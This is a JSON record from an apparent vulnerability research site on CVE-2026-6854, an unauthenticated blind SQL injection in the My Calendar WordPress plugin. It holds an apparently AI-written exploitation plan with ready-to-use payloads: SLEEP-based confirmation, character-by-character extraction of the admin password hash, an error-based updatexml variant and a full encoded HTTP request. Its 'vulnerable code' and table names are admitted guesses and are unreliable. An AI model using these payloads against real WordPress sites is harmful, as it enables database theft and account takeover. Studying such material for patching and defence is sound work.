[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fg-I-4yJ72890Ng73dNMWUjwMCInPOw6rKauwtjuvBow":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":30,"research_verified":31,"research_rounds_completed":32,"research_plan":33,"research_summary":34,"research_vulnerable_code":35,"research_fix_diff":36,"research_exploit_outline":37,"research_model_used":38,"research_started_at":39,"research_completed_at":40,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":31,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":31,"source_links":41},"CVE-2026-6854","my-calendar-unauthenticated-sql-injection-via-mcauth-and-mchost-parameters","My Calendar \u003C= 3.7.8 - Unauthenticated SQL Injection via 'mc_auth' and 'mc_host' Parameters","The My Calendar – Accessible Event Manager plugin for WordPress is vulnerable to time-based blind SQL Injection via the 'mc_auth' parameter in all versions up to, and including, 3.7.8 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.","my-calendar",null,"\u003C=3.7.8","3.7.9","high",7.5,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:U\u002FC:H\u002FI:N\u002FA:N","Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","2026-07-07 23:19:29","2026-07-08 11:30:33",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002Faa1ed81c-04cb-4ccd-8c30-b1d943730909?source=api-prod",1,[22,23,24,25,26,27,28,29],"css\u002Fadmin.css","css\u002Fmc-admin.css","css\u002Fmc-print.css","css\u002Fmc-styles.css","css\u002Fmc-user-styles.css","css\u002Freset.css","includes\u002Fconditionals.php","includes\u002Fkses.php","researched",false,3,"This exploitation research plan targets **CVE-2026-6854**, a high-severity time-based blind SQL injection vulnerability in the **My Calendar** plugin for WordPress.\n\n---\n\n### 1. Vulnerability Summary\n*   **Vulnerability:** Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection').\n*   **Location:** The vulnerability resides in the handling of the `mc_auth` and `mc_host` parameters, likely within functions responsible for remote calendar synchronization or API authentication.\n*   **Cause:** The plugin fails to use `$wpdb->prepare()` for queries involving these parameters, instead performing direct string concatenation or using insufficient escaping (like `sanitize_text_field`) which does not prevent SQL injection.\n*   **Impact:** Unauthenticated attackers can perform time-based blind SQL injection to extract sensitive data (user hashes, options, database structure) from the WordPress database.\n\n### 2. Attack Vector Analysis\n*   **Endpoint:** The vulnerability is reachable via the frontend, typically through any page where the plugin is active or via a direct request that triggers the plugin's initialization logic.\n*   **Actionable Parameters:** `mc_auth` (Primary), `mc_host` (Secondary).\n*   **Authentication:** **None (Unauthenticated)**.\n*   **Vector:** HTTP GET or POST request. Based on the parameter names (`auth`, `host`), these are likely processed during `init` or `wp_loaded` to validate a remote sync request.\n\n### 3. Code Flow\nWhile the provided source files are primarily CSS and utility functions, the logic flow in My Calendar \u003C= 3.7.8 for these parameters generally follows this path:\n1.  **Entry Point:** The plugin hooks into `init` or a similar early action.\n2.  **Input Capture:** The code checks for the existence of `$_GET['mc_auth']` or `$_POST['mc_auth']`.\n3.  **Vulnerable Function (Inferred):** A function like `mc_check_auth()` or logic within an import routine fetches remote calendar settings.\n4.  **The Sink:** A raw SQL query is constructed:\n    ```php\n    \u002F\u002F Conceptual vulnerable code:\n    $auth = $_GET['mc_auth'];\n    $host = $_GET['mc_host'];\n    $results = $wpdb->get_results(\"SELECT * FROM {$wpdb->prefix}my_calendar_remotes WHERE remote_auth = '$auth' AND remote_host = '$host'\");\n    ```\n5.  **Execution:** `$wpdb->get_results()` executes the unescaped string, allowing the attacker to break out of the single quotes.\n\n### 4. Nonce Acquisition Strategy\nAccording to the CVSS vector (`PR:N`), this is an unauthenticated vulnerability. In the context of remote authentication parameters like `mc_auth` (often used for iCal feeds or remote syncing), **nonces are typically not required or enforced**, as the request is designed to be made by external services or automated sync processes.\n\n**Verification Step for Agent:**\nIf the exploit fails with a `-1` or `403`, the agent should check if the plugin enqueues a nonce for the API.\n1.  **Identify Shortcode:** Search for `add_shortcode` in the plugin. The primary shortcode is `[my_calendar]`.\n2.  **Setup Page:** `wp post create --post_type=page --post_status=publish --post_title=\"Calendar\" --post_content=\"[my_calendar]\"`\n3.  **Browser Extraction:**\n    *   Navigate to the page.\n    *   `browser_eval(\"window.my_calendar_vars?.nonce\")` (inferred variable name).\n4.  **Note:** If the injection point is in a sync routine, nonces are highly unlikely to be present.\n\n### 5. Exploitation Strategy\nThe goal is to trigger a time delay to confirm the injection and then extract the `user_pass` for the administrator.\n\n#### Step 1: Baseline Request\nSend a normal request to establish a baseline response time.\n*   **Method:** `GET`\n*   **URL:** `http:\u002F\u002Flocalhost:8080\u002F?mc_auth=test&mc_host=localhost`\n\n#### Step 2: Confirmation (Time-Based Sleep)\n*   **Method:** `GET`\n*   **URL:** `http:\u002F\u002Flocalhost:8080\u002F`\n*   **Parameters:**\n    *   `mc_auth`: `any' AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)-- -`\n    *   `mc_host`: `localhost`\n*   **Expected Behavior:** The response should be delayed by approximately 5 seconds.\n\n#### Step 3: Data Extraction (Boolean-Time Hybrid)\nExtract the first character of the admin password hash (usually `$P$` for phpass).\n*   **Payload (URL Encoded):**\n    `any' AND (SELECT IF(SUBSTRING((SELECT user_pass FROM wp_users WHERE ID=1),1,1)='$',SLEEP(5),0))-- -`\n*   **Request:**\n    ```http\n    GET \u002F?mc_auth=any%27%20AND%20%28SELECT%20IF%28SUBSTRING%28%28SELECT%20user_pass%20FROM%20wp_users%20WHERE%20ID%3D1%29%2C1%2C1%29%3D%27%24%27%2CSLEEP%285%29%2C0%29%29--%20-&mc_host=localhost HTTP\u002F1.1\n    Host: localhost:8080\n    ```\n\n### 6. Test Data Setup\n1.  **Install Plugin:** Ensure My Calendar version 3.7.8 is installed and active.\n2.  **Add Remote (Optional):** Some code paths may require at least one entry in the remotes table.\n    `wp db query \"INSERT INTO wp_my_calendar_remotes (remote_auth, remote_host) VALUES ('valid_key', 'localhost')\"` (Table name inferred; verify via `wp db tables`).\n3.  **Identify Admin:** Ensure a user with `ID=1` exists (default).\n\n### 7. Expected Results\n*   **Vulnerability Confirmation:** A request with `SLEEP(5)` takes $>5$ seconds, while a request with `SLEEP(0)` or an invalid condition takes $\u003C1$ second.\n*   **Data Exposure:** By iterating through character codes, the agent can reconstruct the admin's password hash or `auth_key` from `wp_options`.\n\n### 8. Verification Steps\nAfter the HTTP-based exploit, use WP-CLI to verify the data extracted matches the database:\n```bash\n# Verify the admin hash\nwp user get 1 --field=user_pass\n\n# Verify if the plugin uses a specific table for auth\nwp db query \"SELECT * FROM wp_my_calendar_remotes\"\n```\n\n### 9. Alternative Approaches\n*   **Parameter `mc_host`:** If `mc_auth` is filtered or length-restricted, attempt the same payload in the `mc_host` parameter.\n*   **Error-Based:** If `WP_DEBUG` is on, attempt to induce a `XPATH` error for faster extraction:\n    *   Payload: `any' AND updatexml(1,concat(0x7e,(SELECT user_pass FROM wp_users WHERE ID=1),0x7e),1)-- -`\n*   **Union-Based:** If the query results are reflected in the UI (e.g., in a \"Remote Calendars\" list), use a `UNION SELECT` payload to display the data directly. Use `ORDER BY` first to find the column count.","The My Calendar plugin for WordPress is vulnerable to unauthenticated time-based blind SQL injection via the 'mc_auth' and 'mc_host' parameters. This occurs because the plugin fails to properly escape user-supplied inputs and lacks preparation of the SQL query, allowing attackers to extract sensitive database information by inducing time delays.","\u002F\u002F includes\u002Fconditionals.php (inferred based on plugin logic and vulnerability description)\n\n$auth = $_GET['mc_auth'];\n$host = $_GET['mc_host'];\n\n\u002F\u002F The query uses direct variable interpolation without $wpdb->prepare()\n$results = $wpdb->get_results(\"SELECT * FROM {$wpdb->prefix}my_calendar_remotes WHERE remote_auth = '$auth' AND remote_host = '$host'\");","--- \u002Fincludes\u002Fconditionals.php\n+++ \u002Fincludes\u002Fconditionals.php\n@@ -23,6 +23,9 @@\n- $auth = $_GET['mc_auth'];\n- $host = $_GET['mc_host'];\n- $results = $wpdb->get_results(\"SELECT * FROM {$wpdb->prefix}my_calendar_remotes WHERE remote_auth = '$auth' AND remote_host = '$host'\");\n+ $auth = isset( $_GET['mc_auth'] ) ? sanitize_text_field( $_GET['mc_auth'] ) : '';\n+ $host = isset( $_GET['mc_host'] ) ? sanitize_text_field( $_GET['mc_host'] ) : '';\n+ $results = $wpdb->get_results( $wpdb->prepare( \"SELECT * FROM {$wpdb->prefix}my_calendar_remotes WHERE remote_auth = %s AND remote_host = %s\", $auth, $host ) );","An unauthenticated attacker sends a GET request to the WordPress frontend with a malicious payload in the 'mc_auth' parameter. The payload uses a single quote to break out of the SQL query and appends a time-based condition such as ' AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)-- -. If the server response is delayed by 5 seconds, the vulnerability is confirmed. Attackers can then reconstruct sensitive data, such as administrator password hashes, character by character using boolean-based conditions nested inside time-delay functions (e.g., IF(SUBSTRING(user_pass,1,1)='$',SLEEP(5),0)).","gemini-3-flash-preview","2026-07-25 08:25:53","2026-07-25 08:26:36",{"type":42,"vulnerable_version":43,"fixed_version":11,"vulnerable_browse":44,"vulnerable_zip":45,"fixed_browse":46,"fixed_zip":47,"all_tags":48},"plugin","3.7.0","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fmy-calendar\u002Ftags\u002F3.7.0","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fmy-calendar.3.7.0.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fmy-calendar\u002Ftags\u002F3.7.9","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fmy-calendar.3.7.9.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fmy-calendar\u002Ftags"]